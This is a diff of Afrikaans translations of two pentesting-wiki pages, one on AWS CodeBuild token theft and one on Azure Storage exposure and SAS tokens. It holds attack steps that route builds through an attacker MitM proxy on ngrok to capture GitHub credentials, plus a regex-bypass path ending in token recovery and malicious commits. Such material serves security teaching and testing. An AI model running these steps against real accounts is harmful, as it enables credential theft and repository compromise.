diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 706f0c880..81971b843 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -8,41 +8,41 @@ Eerstens, kyk of daar enige source credentials gekonfigureer is wat jy kan leak: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Deur Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **toegang** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Indien jy vind dat authentication na byvoorbeeld Github in die rekening ingestel is, kan jy **exfiltrate** daardie **access** (**GH token or OAuth token**) deur Codebuild te laat **use an specific docker image** om die build van die projek te run. -Vir hierdie doel kan jy **'n nuwe Codebuild-projek skep** of die **omgewing** van 'n bestaande een verander om die **Docker image** te stel. +Vir hierdie doel kan jy **create a new Codebuild project** of die **environment** van 'n bestaande een verander om die **Docker image** te stel. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hierdie is 'n baie basiese Docker image wat die **omgewingsvariabels `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou. +Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om meeste van die verkeer van die host aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou. -1. **Skep & Upload jou eie Docker MitM image** -- Volg die instruksies van die repo om jou proxy IP-adres en jou SSL-sertifikaat te stel en **bou die Docker image**. -- **MOENIE `http_proxy` STEL NIE** om nie versoeke na die metadata-endpoint te onderskep nie. -- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou host te wys. -- Sodra jy die Docker image gebou het, **laai dit op na 'n publieke repo** (Dockerhub, ECR...) -2. **Stel die omgewing** -- Skep 'n **nuwe Codebuild-projek** of **wysig** die omgewing van 'n bestaande een. -- Stel die projek om die **voorheen gegenereerde Docker image** te gebruik +1. **Create & Upload your own Docker MitM image** +- Volg die instruksies van die repo om jou proxy IP-adres en SSL cert te stel en **build the docker image**. +- **DO NOT SET `http_proxy`** om nie versoeke na die metadata endpoint te onderskep nie. +- Jy kan **`ngrok`** soos `ngrok tcp 4444` gebruik om die proxy na jou host te stel +- Sodra jy die Docker image gebou het, **upload dit na 'n publieke repo** (Dockerhub, ECR...) +2. **Set the environment** +- Create a **new Codebuild project** of **modify** die environment van 'n bestaande een. +- Stel die project om die **previously generated Docker image** te gebruik
-3. **Stel die MitM proxy in jou host** +3. **Set the MitM proxy in your host** -- Soos aangedui in die **Github repo** kan jy iets soos die volgende gebruik: +- Soos aangedui in die **Github repo** kan jy iets soos gebruik: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, daar is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie. +> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, daar is gerapporteer dat dit met weergawe 10 dalk nie sal werk nie. -4. **Voer die build uit & vang die credentials** +4. **Voer die build uit & capture die credentials** - Jy kan die token in die **Authorization** header sien:
-Dit kan ook vanaf die aws cli met iets soos gedoen word +Dit kan ook vanaf die aws cli gedoen word met iets soos ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Deur insecureSSL -**Codebuild**-projekte het 'n instelling genaamd **`insecureSsl`** wat in die web verborge is; jy kan dit slegs via die API verander.\ -Deur dit aan te skakel kan Codebuild met die repository verbind **sonder om die sertifikaat wat deur die platform aangebied word, te kontroleer**. +**Codebuild** projekte het 'n instelling genaamd **`insecureSsl`** wat in die web versteek is — jy kan dit slegs via die API.\ +Deur dit te aktiveer, kan Codebuild met die repository verbind **sonder om die sertifikaat te kontroleer** wat deur die platform aangebied word. -- Eerstens moet jy die huidige konfigurasie uitlees met iets soos: +- Eerstens moet jy die huidige konfigurasie opspoor met iets soos: ```bash aws codebuild batch-get-projects --name ``` -- Dan kan jy, met die versamelde inligting, die projekinstelling **`insecureSsl`** op **`True`** stel. Die volgende is 'n voorbeeld van hoe ek 'n projek opdateer; let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy hoef te verander vanaf die versamelde konfigurasie). -- Voorts voeg ook die omgewingsveranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys, soos: +- Dan, met die versamelde inligting kan jy die projekinstelling **`insecureSsl`** na **`True`** bywerk. Die volgende is 'n voorbeeld van hoe ek 'n projek bywerk; let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy van die versamelde konfigurasie hoef te verander). +- Verder, voeg ook die omgewingsvariabeles **http_proxy** en **https_proxy** by en stel dit in om na jou tcp ngrok te wys, soos: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Voer dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die port wat deur die proxy variables (http_proxy en https_proxy) aangedui word +- Voer dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-variabels (http_proxy en https_proxy) wys. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Eindelik, klik op **Build the project**, die **credentials** sal in **clear text** (base64) na die mitm port gestuur word: +- Uiteindelik, klik op **Build the project**, die **credentials** sal in **duidelike teks** (base64) na die mitm port gestuur word:
-### ~~Deur HTTP-protokol~~ +### ~~Deur die HTTP-protokol~~ -> [!TIP] > **Hierdie kwetsbaarheid is op 'n stadium deur AWS reggestel in die week van 20 Feb 2023 (ek dink op Vrydag). Dus kan 'n aanvaller dit nie meer misbruik nie :)** +> [!TIP] > **Hierdie kwesbaarheid is deur AWS op 'n tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan 'n aanvaller dit nie meer misbruik nie :)** -'n Aanvaller met **elevated permissions in 'n CodeBuild** kan die geconfigureerde Github/Bitbucket token leak, of as permissions via OAuth gekonfigureer is, die **temporary OAuth token used to access the code**. +'n Aanvaller met **opgehewe permissies in 'n CodeBuild could leak the Github/Bitbucket token** wat gekonfigureer is, of as permissies via OAuth gekonfigureer is, die **tydelike OAuth token wat gebruik word om toegang tot die kode te verkry**. -- 'n Aanvaller kan die omgewingveranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`). +- 'n Aanvaller kon die omgewingsveranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions` -- Voer dan die basiese voorbeeld vanaf https://github.com/synchronizing/mitm uit op die poort waarna die proxy-variabeles (http_proxy en https_proxy) wys. +- Dan voer jy die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys ```python from mitm import MITM, protocol, middleware, crypto @@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Volgende, klik op **Bou die projek** of begin die bou vanaf die opdraglyn: +- Klik dan op **Bou die projek** of begin die bou vanaf die opdraglyn: ```sh aws codebuild start-build --project-name ``` -- Laastens sal die **credentials** **in clear text** (base64) na die mitm port gestuur word: +- Laastens sal die **inlogbesonderhede** in **platte teks** (base64) na die mitm-poort gestuur word:
> [!WARNING] -> Nou kan 'n aanvaller die token vanaf sy masjien gebruik, al die privileges wat dit het lys en dit (ab)use makliker uitvoer as om die CodeBuild-diens direk te gebruik. +> Nou kan ’n aanvaller die token vanaf sy masjien gebruik, al die bevoegdhede wat dit het lys en dit makliker misbruik as om die CodeBuild-diens direk te gebruik. -## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) +## Webhook-filter ACTOR_ID regex allowlist-omseiling (PR-geaktiveerde bevoorregte builds) -Verkeerd gekonfigureerde CodeBuild GitHub webhooks wat ongeankerde `ACTOR_ID`-regexes gebruik, laat *onbetroubare* PRs toe om bevoorregte builds te begin. As die allowlist byvoorbeeld `123456|7890123` sonder `^`/`$` is, pas enige ID wat een van daardie substringe bevat. Omdat GitHub user IDs sekwensieel is, kan 'n aanvaller meeding om 'n “eclipsing” ID (‚n superstring van 'n vertroude ID) te registreer en die build te trigger. +Misgekonfigureerde CodeBuild GitHub webhooks wat ongeankerde `ACTOR_ID` regexes gebruik laat *onbetroubare* PRs toe om bevoorregte builds te begin. As die allowlist soos `123456|7890123` is sonder `^`/`$`, stem enige ID wat een van daardie substringe bevat ooreen. Aangesien GitHub-gebruikers-ID's sekwensieel is, kan ’n aanvaller ’n wedloop aangaan om ’n “eclipsing” ID te registreer (’n superstring van ’n vertroude ID) en die build te aktiveer. -## Uitbuitingspad +**Eksploitpad** -1. Vind publieke CodeBuild-projekte wat webhook-filters blootstel en onttrek 'n ongeankerde `ACTOR_ID` allowlist. -2. Verkry 'n eclipsing GitHub ID: -- Bemonster die globale ID-teller deur GitHub orgs te skep/verwyder (org IDs deel dieselfde pool). -- Reël baie GitHub App-manifest-skeppings vooraf en aktiveer die confirmation URLs wanneer die teller binne ~100 IDs van die teiken is om in 'n slag 'n bot-ID te registreer wat die vertroude substring bevat. -3. Open 'n PR vanaf die eclipsing-rekening; die regex pas by die substring en die bevoorregte build hardloop. -4. Gebruik build RCE (bv. dependency install hooks) om die prosesgeheue wat die GitHub credential hanteer te dump en die PAT/OAuth token te herstel. -5. Met die token se `repo` scope, nooi jou rekening as collaborator/admin en push/approve kwaadwillige commits of exfiltreer geheime. +1. Vind openbare CodeBuild-projekte wat webhook-filters openbaar en haal ’n ongeankerde `ACTOR_ID` allowlist uit. +2. Verkry ’n eclipsing GitHub ID: +- Neem monsters van die globale ID-teller deur GitHub orgs te skep/verwyder (org IDs deel dieselfde poel). +- Stel vooraf baie GitHub App manifest-skeppings op en aktiveer die bevestigings-URLs wanneer die teller binne ~100 ID's van die teiken is om ’n groep registrasies te doen en ’n bot-ID te burst-register wat die vertroude substring bevat. +3. Maak ’n PR oop vanaf die eclipsing-rekening; die regex pas by die substring en die bevoorregte build word uitgevoer. +4. Gebruik build RCE (bv. dependency install hooks) om prosesgeheue wat die GitHub-inlogbesonderhede hanteer uit te leeg en die PAT/OAuth token te herstel. +5. Met die token se `repo`-scope, nooi jou rekening as collaborator/admin uit en push/goedgekeur kwaadwillige commits of eksfiltreer geheime. ## References - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 97a2ccd79..fb8b54e09 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,72 +4,72 @@ ## Basiese Inligting -Azure Storage Accounts is fundamentele dienste in Microsoft Azure wat skaalbare, veilige en hoog-beskikbare cloud **storage vir verskillende datatipes** verskaf, insluitend blobs (binary large objects), files, queues, en tables. Hulle dien as houers wat hierdie verskillende stoor-dienste onder 'n enkele namespace groepeer vir maklike bestuur. +Azure Storage Accounts is fundamentele dienste in Microsoft Azure wat skaalbare, veilige en hoog-beskikbare wolk **storage vir verskeie datatipes** verskaf, insluitend blobs (binary large objects), files, queues, and tables. Hulle dien as houers wat hierdie verskillende storage-dienste saam onder 'n enkele namespace groepeer vir maklike bestuur. **Hoof konfigurasie-opsies**: -- Every storage account must have a **uniq name across all Azure**. -- Every storage account is deployed in a **region** or in an Azure extended zone -- It's possible to select the **premium** version of the storage account for better performance -- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**. +- Elke storage account moet 'n **unieke naam oor alle Azure** hê. +- Elke storage account word in 'n **region** of in 'n Azure extended zone ontplooi. +- Dit is moontlik om die **premium** weergawe van die storage account te kies vir beter prestasie. +- Dit is moontlik om te kies tussen **4 tipes redundansie om te beskerm** teen rak-, skyf- en datacentrum-**foute**. **Sekuriteitskonfigurasie-opsies**: -- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage -- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future -- **Enable storage account key access**: If not, access with Shared Keys will be forbidden +- **Require secure transfer for REST API operations**: Vereis TLS in enige kommunikasie met die storage. +- **Allows enabling anonymous access on individual containers**: As dit nie aangeskakel is nie, sal dit in die toekoms nie moontlik wees om anonieme toegang aan te skakel nie. +- **Enable storage account key access**: As dit nie aangeskakel is nie, sal toegang met Shared Keys verbied wees. - **Minimum TLS version** -- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network. +- **Permitted scope for copy operations**: Toelaat vanaf enige storage account, vanaf enige storage account in dieselfde Entra tenant of vanaf storage accounts met private endpoints in dieselfde virtual network. -**Blob Storage opsies**: +**Blob Storage options**: - **Allow cross-tenant replication** -- **Access tier**: Hot (gewoonlik gereeld geraadpleegde data), Cool en Cold (seldsame toegang tot data) +- **Access tier**: Hot (gereeld toegang tot data), Cool en Cold (selde geraadpleegde data) -**Netwerk-opsies**: +**Networking options**: -- **Netwerk toegang**: -- Toelaat vanaf alle netwerke -- Toelaat vanaf geselekteerde virtuele netwerke en IP-adresse -- Deaktiveer publieke toegang en gebruik private toegang -- **Private endpoints**: Dit laat 'n private verbinding toe na die storage account vanaf 'n virtuele netwerk +- **Network access**: + - Allow from all networks + - Allow from selected virtual networks and IP addresses + - Disable public access and use private access +- **Private endpoints**: Dit laat 'n private verbinding toe na die storage account vanaf 'n virtual network. -**Data-beskerming opsies**: +**Data protection options**: -- **Point-in-time restore for containers**: Laat jou toe om containers na 'n vroeër staat te herstel -- Dit vereis dat versioning, change feed, en blob soft delete geaktiveer is. -- **Enable soft delete for blobs**: Dit skep 'n bewaringstydperk in dae vir uitgevee blobs (selfs oorskryf) -- **Enable soft delete for containers**: Dit skep 'n bewaringstydperk in dae vir uitgevee containers -- **Enable soft delete for file shares**: Dit skep 'n bewaringstydperk in dae vir uitgevee file shares -- **Enable versioning for blobs**: Handhaaf vorige weergawes van jou blobs -- **Enable blob change feed**: Hou logs van create, modification, en delete veranderinge aan blobs -- **Enable version-level immutability support**: Laat jou toe om 'n tydgebaseerde bewaringbeleid op rekeningvlak te stel wat op alle blob-weergawes toegepas word. -- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously. +- **Point-in-time restore for containers**: Maak dit moontlik om containers na 'n vroeër toestand te herstel. +- Dit vereis dat versioning, change feed, en blob soft delete aangeskakel is. +- **Enable soft delete for blobs**: Dit stel 'n retensieperiode in dae vas vir verwyderde blobs (selfs oorskryfde). +- **Enable soft delete for containers**: Dit stel 'n retensieperiode in dae vas vir verwyderde containers. +- **Enable soft delete for file shares**: Dit stel 'n retensieperiode in dae vas vir verwyderde file shares. +- **Enable versioning for blobs**: Handhaaf vorige weergawes van jou blobs. +- **Enable blob change feed**: Hou logs van skep-, wysiging- en verwyderingsveranderinge aan blobs by. +- **Enable version-level immutability support**: Laat jou toe om 'n tydgebaseerde retensiebeleid op rekeningvlak te stel wat op alle blob-weergawes van toepassing sal wees. +- Version-level immutability support en point-in-time restore for containers kan nie gelyktydig aangeskakel word nie. -**Enkripsiekonfigurasie-opsies**: +**Encryption configuration options**: -- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK) -- **Enable infrastructure encryption**: Laat toe om die data dubbel te enkripteer "vir meer sekuriteit" +- **Encryption type**: Dit is moontlik om Microsoft-managed keys (MMK) of Customer-managed keys (CMK) te gebruik. +- **Enable infrastructure encryption**: Laat toe om die data dubbel te enkodeer "vir meer sekuriteit". ### Storage endpoints -
StoordiensEindpunt
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
-### Publieke blootstelling +### Publieke Blootstelling -As "Allow Blob public access" **geaktiveer** is (deaktiveer per verstek), is dit by die skep van 'n container moontlik om: +As "Allow Blob public access" **enabled** is (standaard disabled), is dit moontlik wanneer 'n container geskep word om: -- Gee **publieke toegang om blobs te lees** (jy moet die naam ken). -- **Lys container blobs** en **lees** hulle. -- Maak dit heeltemal **privaat** +- Gee **public access to read blobs** (jy moet die naam ken). +- **List container blobs** en **read** dit. +- Maak dit volledig **private**.
### Static website (`$web`) blootstelling & leaked secrets -- **Static websites** word bedien vanaf die spesiale `$web` container oor 'n streek-spesifieke eindpunt soos `https://.z13.web.core.windows.net/`. -- Die `$web` container mag `publicAccess: null` rapporteer via die blob API, maar lêers is steeds bereikbaar deur die static site eindpunt, so om config/IaC artifacts daar te laat val kan leak secrets. -- Vinnige oudit-workflow: +- **Static websites** word bedien vanaf die spesiale `$web` container oor 'n region-spesifieke endpoint soos `https://.z13.web.core.windows.net/`. +- Die `$web` container kan `publicAccess: null` rapporteer via die blob API, maar lêers is steeds deur die static site endpoint bereikbaar, so die plaas van config/IaC artifacts daar kan leak secrets. +- Quick audit workflow: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -82,51 +82,51 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou ``` ### Oudit van anonieme blob-blootstelling -- **Lokaliseer storage accounts** wat data kan blootstel: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. As `allowBlobPublicAccess` op `false` is, kan jy nie containers publiek maak nie. +- **Lokaliseer storage accounts** wat data kan blootstel: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. As `allowBlobPublicAccess` op `false` gestel is, kan jy nie containers publiek maak nie. - **Kontroleer riskante accounts** om die vlag en ander swak instellings te bevestig: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **Enumereer container-vlak blootstelling** waar die vlag aangeskakel is: +- **Enumereer container-vlak blootstelling** waar die vlag geaktiveer is: ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` -- `"Blob"`: anonieme lees toegelaat **slegs wanneer blob-naam bekend is** (geen lys). -- `"Container"`: anonieme **lys + lees** van elke blob. -- `null`: privaat; outentisering vereis. -- **Bewys toegang** without credentials: -- Indien `publicAccess` op `Container` gestel is, werk anonieme lys: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. +- `"Blob"`: anonieme lees toegelaat **slegs wanneer die blob-naam bekend is** (geen listing). +- `"Container"`: anonieme **list + read** van elke blob. +- `null`: privaat; authentication required. +- **Bewys toegang** sonder credentials: +- As `publicAccess` op `Container` gestel is, werk anonieme listing: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. - Vir beide `Blob` en `Container` werk anonieme blob-aflaai wanneer die naam bekend is: ```bash az storage blob download -c -n --account-name --file /dev/stdout # or via raw HTTP curl "https://.blob.core.windows.net//" ``` -### Connect to Storage +### Koppel aan berging -If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so. +As jy enige **berging** vind waarop jy kan koppel, kan jy die hulpmiddel [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) daarvoor gebruik. -## Access to Storage +## Toegang tot berging ### RBAC -Dit is moontlik om Entra ID principals met **RBAC roles** te gebruik om toegang tot storage accounts te kry, en dit is die aanbevole manier. +Dit is moontlik om Entra ID principals met **RBAC roles** te gebruik om toegang tot bergingsrekeninge te kry, en dit is die aanbevole manier. -### Access Keys +### Toegangsleutels -Die storage accounts het access keys wat gebruik kan word om toegang daartoe te kry. Dit verskaf **volle toegang tot die storage account.** +Bergingsrekeninge het toegangssleutels wat gebruik kan word om toegang daartoe te kry. Dit bied **volledige toegang tot die bergingsrekening.**
-### **Shared Keys & Lite Shared Keys** +### **Gedeelde Sleutels & Lite Gedeelde Sleutels** -Dit is moontlik om [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) te genereer wat met die access keys onderteken is om toegang tot sekere resources via 'n signed URL te magtig. +Dit is moontlik om [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) wat met die toegangsleutels geteken is, te gebruik om toegang tot sekere hulpbronne via 'n ondertekende URL te magtig. > [!NOTE] -> Let daarop dat die `CanonicalizedResource`-deel die storage services resource (URI) verteenwoordig. En as enige deel van die URL geënkodeer is, moet dit ook binne die `CanonicalizedResource` geënkodeer wees. +> Let daarop dat die `CanonicalizedResource`-gedeelte die storage-dienshulpbron (URI) verteenwoordig. En as enige deel van die URL gekodeer is, moet dit ook binne die `CanonicalizedResource` gekodeer wees. > [!NOTE] -> Dit word **standaard deur `az` cli gebruik** om versoeke te verifieer. Om dit die Entra ID principal credentials te laat gebruik, gee die parameter `--auth-mode login` aan. +> Hierdie word **standaard deur die `az` cli gebruik** om versoeke te verifieer. Om dit die Entra ID principal-geloofsbriewe te laat gebruik, gee die parameter `--auth-mode login` aan. -- Dit is moontlik om 'n **shared key for blob, queue and file services** te genereer deur die volgende inligting te onderteken: +- Dit is moontlik om 'n **shared key for blob, queue and file services** te genereer deur die volgende inligting te teken: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -143,7 +143,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Dit is moontlik om ’n **shared key for table services** te genereer deur die volgende inligting te onderteken: +- Dit is moontlik om 'n **shared key for table services** te genereer deur die volgende inligting te onderteken: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -165,7 +165,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -Dan, om die sleutel te gebruik, kan dit in die Authorization header gedoen word volgens die volgende sintaksis: +Om die sleutel te gebruik, kan dit in die Authorization-header gedoen word volgens die volgende sintaks: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -177,70 +177,70 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08= Content-Length: 0 ``` -### **Shared Access Signature** (SAS) +### **Gedeelde Toegangshandtekening** (SAS) -Shared Access Signatures (SAS) is veilige, tydelik-beperkte URL's wat spesifieke permissies gee om toegang tot hulpbronne in 'n Azure Storage-rekening te verkry sonder om die rekening se access keys bloot te stel. Terwyl access keys volle administratiewe toegang tot alle hulpbronne bied, laat SAS fynkorrelige beheer toe deur permissies (soos read of write) te spesifiseer en 'n vervaldatum te definieer. +Gedeelde Toegangshandtekeninge (SAS) is veilige, tydelike URL'e wat **spesifieke toestemmings gee om toegang tot hulpbronne** in 'n Azure Storage-rekening te kry sonder om die rekenings toegangssleutels bloot te stel. Terwyl toegangssleutels volle administratiewe toegang tot alle hulpbronne bied, laat SAS meer gedetailleerde beheer toe deur toestemmings (bv. lees of skryf) te spesifiseer en 'n vervaltyd te definieer. #### SAS Types -- **User delegation SAS**: Dit word geskep vanaf 'n **Entra ID principal** wat die SAS sal onderteken en die permissies van die gebruiker na die SAS sal delegeer. Dit kan slegs gebruik word met **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Dit is moontlik om alle gegenereerde user delegated SAS te **herroep**. -- Selfs al is dit moontlik om 'n delegation SAS te genereer met "meer" permissies as wat die gebruiker het. As die principal dit egter nie het nie, sal dit nie werk nie (no privesc). -- **Service SAS**: Dit word onderteken met een van die storage account **access keys**. Dit kan gebruik word om toegang tot spesifieke hulpbronne binne 'n enkele storage service te verleen. As die sleutel hernu word, sal die SAS ophou werk. -- **Account SAS**: Dit word ook onderteken met een van die storage account **access keys**. Dit verleen toegang tot hulpbronne oor verskeie storage account services (Blob, Queue, Table, File) en kan service-level operasies insluit. +- **User delegation SAS**: Dit word geskep vanaf 'n **Entra ID principal** wat die SAS sal onderteken en die toestemmings van die gebruiker na die SAS sal delegeer. Dit kan slegs gebruik word met **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Dit is moontlik om alle gegenereerde user delegated SAS te **herroep**. +- Dit is selfs moontlik om 'n delegation SAS te genereer met "meer" permissies as wat die gebruiker het. As die principal dit egter nie het nie, sal dit nie werk nie (geen privesc). +- **Service SAS**: Dit word onderteken met een van die storage account **access keys**. Dit kan gebruik word om toegang tot spesifieke hulpbronne in 'n enkele storage service te verleen. As die sleutel hernu word, sal die SAS ophou werk. +- **Account SAS**: Dit word ook onderteken met een van die storage account **access keys**. Dit verleen toegang tot hulpbronne oor verskeie storage account-dienste (Blob, Queue, Table, File) en kan service-level operasies insluit. -'n SAS URL wat deur 'n **access key** onderteken is, lyk so: +A SAS URL signed by an **access key** looks like this: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -'n SAS URL wat as 'n **user delegation** onderteken is, lyk so: +A SAS URL signed as a **user delegation** looks like this: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -Let wel sommige **http params**: +Let op sommige **http params**: - Die **`se`** param dui die **vervaldatum** van die SAS aan -- Die **`sp`** param dui die **permissies** van die SAS aan +- Die **`sp`** param dui die **toestemmings** van die SAS aan - Die **`sig`** is die **handtekening** wat die SAS valideer #### SAS permissions -Wanneer 'n SAS gegenereer word, moet die permissies aangedui word wat dit moet toeken. Afhangend van die objek waarop die SAS gegenereer word, kan verskillende permissies ingesluit wees. Byvoorbeeld: +Wanneer 'n SAS gegenereer word, moet die toestemmings wat dit behoort te gee aangedui word. Afhangend van die objek waaroor die SAS gegenereer word, kan verskillende permissies ingesluit wees. Byvoorbeeld: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete ## SFTP Support for Azure Blob Storage -Azure Blob Storage ondersteun nou die SSH File Transfer Protocol (SFTP), wat veilige lêeroorplasing en -bestuur direk na Blob Storage moontlik maak sonder dat maatwerkoplossings of derdeparty-produkte nodig is. +Azure Blob Storage ondersteun nou die SSH File Transfer Protocol (SFTP), wat veilige lêeroorplasing en bestuur direk na Blob Storage moontlik maak sonder dat custom solutions of derdeparty-produkte nodig is. -### Key Features +### Belangrike kenmerke -- Protocol Support: SFTP werk met Blob Storage-rekeninge wat met hierarchical namespace (HNS) geconfigureer is. Dit organiseer blobs in gidse en subgidse vir maklike navigasie. -- Security: SFTP gebruik plaaslike gebruikersidentiteite vir autentisering en integreer nie met RBAC of ABAC nie. Elke plaaslike gebruiker kan via autentiseer: -- Azure-generated passwords -- Public-private SSH key pairs -- Granular Permissions: Permissies soos Read, Write, Delete, en List kan aan plaaslike gebruikers toegeken word vir tot 100 containers. -- Networking Considerations: SFTP-verbindinge gebeur deur poort 22. Azure ondersteun netwerkkonfigurasies soos firewalls, private endpoints, of virtual networks om SFTP-verkeer te beveilig. +- Protokolondersteuning: SFTP werk met Blob Storage-rekeninge wat met hierarchical namespace (HNS) gekonfigureer is. Dit organiseer blobs in gidse en subgidse vir makliker navigasie. +- Sekuriteit: SFTP gebruik plaaslike gebruikersidentiteite vir verifikasie en integreer nie met RBAC of ABAC nie. Elke plaaslike gebruiker kan verifieer via: + - Azure-gegenereerde wagwoorde + - Openbare-private SSH-sleutelpare +- Gedetailleerde toestemmings: Toestemmings soos Lees, Skryf, Verwyder en Lys kan aan plaaslike gebruikers toegeken word 